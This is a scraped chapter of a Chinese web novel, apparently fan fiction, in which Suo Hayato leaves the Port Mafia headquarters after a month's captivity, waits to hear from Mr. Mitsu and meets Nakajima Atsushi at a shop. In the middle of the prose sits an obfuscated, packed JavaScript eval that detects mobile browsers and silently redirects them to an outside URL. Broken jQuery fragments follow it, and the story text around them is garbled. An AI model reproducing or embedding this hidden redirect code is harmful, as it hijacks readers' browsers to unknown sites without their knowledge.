87.被日思夜想的干部

作品:《被正式确诊为渣男

    他几乎有一个月没离开这栋建筑。


    再次看到没有玻璃遮挡也没有砖墙围困的天空时,苏枋隼飞只觉得恍如隔世。


    他离开的过程异乎寻常的迅速。在他走近电梯间向自己看到的第一个男人询问离开是“直接去一楼吗”的问题后,不知被下了何种命令的青年沉默着替他在电梯里刷了卡。


    他乘坐的电梯并未停在一楼,而是三楼。他怀着走一步算一步的心思,从电梯间走出去,却发现他接下来的路已经一目了然了。


    三楼和二楼左右都有正在运行中的扶梯,他只要乘扶梯就能顺利出门。


    此刻不是一般而言的上下班时间,充其量算……接近午餐时间?仅有他在这种不上不下的时候走在一楼大厅里。


    迎面而来的日光远远没有盛夏那般热烈,充斥着秋日午后特有的倦怠感。直到他踏出港口黑手党的大门,也没有任何一个人朝他投来值得注意的视线,仿佛他是透明的来客。


    迄今为止,他想过的问题也有答案了。


    弥津先生在港口黑手党的生活是怎么样的,是“幸福”的吗,这样的生活,是弥津先生自愿选择的吗?


    或许他应该换种思路。


    幸福与否,另当别论,但弥津先生绝对有认真过好自己的每一天,哪怕是作为犯罪组织成员的日子。


    最终,他也算是“得偿所愿”吧。


    在对横滨还不熟悉的时候,就被弥津先生丢进地牢,此刻的他仍然是对周边的地理环境一无所知啊……


    苏枋隼飞根本不急着想办法回自己的住处。


    满格电量的手机终于显示了信号,接二连三的未读消息和未接来电像雪花似的飘向手机屏幕,他快速划过一条接一条的消息,转身走向了肉眼能望得到的横滨港口。


    那个属于他和弥津先生重逢的地方。


    其实那样的重逢……和他的预想还是有很大差别的。


    毕竟他的想法里绝对没有目睹弥津先生“暴行”这一条。


    可他又能如何是好呢。


    既然做出了这样的决定,他就会接受弥津先生的全部。无论是好的地方,还是坏的地方。这是人的两面性,老生常谈的问题。


    弥津先生是……一个接受自我命运的人。


    沿着人行道,他走向海浪声喧闹的港口。这里今日依旧停着许多货船,以及更接近陆地的小型游艇。游艇有对外开放的租借业务,正随着海波摇晃。


    弥津先生这样的人,在对别人举起枪之前,想必早就把自己杀死无数次了。不然,他要如何解释弥津先生身上永远带有的那份像白开水似的平淡呢。


    结论就是,弥津先生在横滨过得很好,即便是和犯罪为伍的日子也是如此。


    他在栏杆边站定,把方才弥津先生刻在墙上的号码输进手机里。弥津先生要工作……发个文字消息吧。如果弥津先生不想暴露自己的所在,那就让弥津先生知道他住在哪里好了。


    又按出一串号码,他低头望着波光粼粼的水面,耐心等对面接通电话。


    怪不得弥津先生以前那么喜欢去港口散步。


    没过几秒,对面便接起了电话。


    “你这么久没消息,我会以为你在横滨出事的。怎么,你不是说有了佐久间先生的消息吗?”


    是啊,梅宫哥。


    他确实有了弥津先生的消息。


    都是对弥津先生的来历有所了解的人,有些话可以不用避讳。


    “但是,我该怎么解释呢……弥津先生现在的身份,实在超乎我们的想象。”


    “先不说别的,你这段时间怎么什么消息都没有。”


    他不由得苦笑一声,只说了自己这段时期的经历有点“魔幻”。


    正是因为弥津先生如今的身份,他既不能讲述自己在找到弥津先生没几分钟后就失去意识,被关去了黑手党组织的地牢,也不能说夜晚会被软禁在弥津先生的休息室。


    “不过我现在很自由哦,在港口吹风呢。”


    “横滨的港口?”


    “是的。”


    “那么,佐久间先生在横滨是什么身份。”


    所以说……超乎想象嘛。让他对同样认识弥津先生的人直言说,弥津先生是通缉令被贴在告示栏里的通缉犯吗?不,这种话还是有点太吓人了。


    “好奇的话,之后亲自来看看吧。现在,还是当成一个秘密比较好。”


    而对不了解弥津先生的人来说,从书店老板到通缉犯的转变,比白日做梦还虚幻。


    可他一想到弥津先生此刻与他在同一个城市,以后也不会像那年一样离开他——一个法律上的通缉犯是不会轻易失踪的,他在电话里总是忍不住地语气上扬,心情前所未有的愉快。


    虽然不知道弥津先生忙完工作会是什么时候,可他一点都不害怕弥津先生故意不理他。


    支持他如此自信的理由是什么,他也说不清楚。


    有一种发自内心的感觉,让他如此深信不疑。


    弥津先生“允许”他留在横滨,更“允许”他和他“在一起”,还有很多很多没有溢于言表但同样被弥津先生“允许”的事。


    他忍不住想盯着眼前这片广阔的海面笑个不停。如果此刻有靠近水面的游鱼,恐怕也会觉得他是个会独自对着水面笑的怪人吧。


    横滨这座城市,说来真的奇怪。


    明明白日里到处都很正常,作为经济体的发展也好,白天照常工作生活的居民也好,完全看不出是一块适合世界灰暗面的肥沃土壤,有犯罪组织扎根其上。


    能孕育出港口黑手党此种庞然大物的城市,似乎生活在割裂的白天和夜晚。


    他度过了第一个离开港口黑手党后的夜晚。


    躺在下午收拾过的床上,他盯着卧室窗帘中间特意留出的手掌宽的缝隙,心情格外平静地看着窗外的夜空。


    其实弥津先生休息室里的床也很好睡的。丝毫没有因为那只是个为方便休息而设立的房间,就丧失该有的舒适度。


    被“关押”和“软禁”了一个月,医生说他的身体数据没什么问题,至于心理有没有问题,他们管不着。他很理解。犯罪组织成员有没有心理问题,恐怕同为犯罪组织成员的医生也帮不上忙。


    然而那段时间,他要解答的问题有很多,没时间焦虑自己的处境,仅仅将这段日子看作一次时长一个月,推理爱好者身临其境的“推理”经历,就好理解多了。


    更何况,还时不时有作为弥津先生的“朋友”和同事的人,出于某种他无法感同身受的理由,站在他面前露出奇怪的笑容。


    哪有出现心理问题的可能呢。


    就算有,也会在听到弥津先生那番话的瞬间被治好,就像中了精灵的治愈魔法一样。


    唯有一点不妙……<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16901232|186252||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    脑子里都是弥津先生的事,反倒让他在离开港口黑手党总部之后睡不着了。接近午夜,依旧亢奋。


    难道这也是被软禁的后遗症吗。


    第二天醒来之后,看着墙壁上洒进来的日光,他仍然不知道昨夜自己是如何入睡的。似乎想着想着,就在不知不觉中被扯入了自己尚未知晓的睡梦。


    他又要等待了。


    等待弥津先生好像从好几年前就变成他日常生活中的一部分。这次是按天算,还是按周算呢,他还能如此乐观地想。


    担心弥津先生收不到第一条消息,之后又挑了一天,把他的地址重发了一遍。


    犯罪组织的忙碌……可真是不讲理啊。


    好在他已经习惯了等待。


    回归了正常生活,和樱他们的聊天时也会提起弥津先生的事,但仅限于“是,我见到他了”这样不会透露任何重要信息的话。


    而今天,他再次感叹命运的风居然还在狂吹。


    几乎在相同的时间——虽然天色因为季节而改变——和相同的商超门口,他进门的同时,名为中岛敦的人抱着已经结账的东西快步出门。


    原来这里是中岛敦固定买面包点心的地方啊。


    同样认出他的人瞪大眼睛,抱在怀里的东西从上次的面包换成了各种各样的零食。


    愣了足有半分钟,匆忙为其他客人让开门口位置的人神色仓惶地问,“你……没事?”


    中岛敦差点以为这个人已经死掉了。


    原来佐久间弥津那天的话全是随口胡说的?


    什么软禁,全都是假的吗……


    “欸,是这样的。被关在港口黑手党的地牢,差不多二十多天。”虽然只是白天。晚上被“关”在其他地方。


    什么,居然是真的?


    “……你怎么离开的。”


    逃出来的?


    港口黑手党的地牢怎么可能是想来就来想走就走的……他会不清楚吗。


    “可能弥津先生突然心软,就放我走了。半个月前就离开了。”


    眼前人神色轻松地笑着回答他,但中岛敦认为这不是真正的原因。


    “你没有因为他,留在港口黑手党吗。”


    “当然没有,我没有这种想法。而且,弥津先生也不会同意这种事。”


    然而,话题一转。


    “弥津先生去找过你吧。”


    呃……


    面前的人冲他笑了笑,接着说了下去,


    “在我的印象里,会伤到弥津先生的人只有你一个呢。你是不是也受伤了?弥津先生动真格的话,的确是很难招架的。”


    事情已经过去了。


    他回答说。


    他是过了许久才发现,那位离开孤儿院时的状态,与其说是“任务失败”后的暴躁,其实更像是被院长先生三言两语气走的。


    很难想象吧,以个人名义前去的佐久间弥津,并没有给他们造成任何损失。


    只有他和佐久间弥津受的伤算一点为了沟通而付出的代价。


    真是个可怕的,恪守自我原则的人。


    他的同伴正在远处等他。


    匆匆与这个和佐久间弥津关系匪浅的人礼貌分别,他转身走向站在不远处的友人。


    “抱歉,久等了,芥川。”


    孤儿院的小孩子们拜托他这次一定要买很多点心。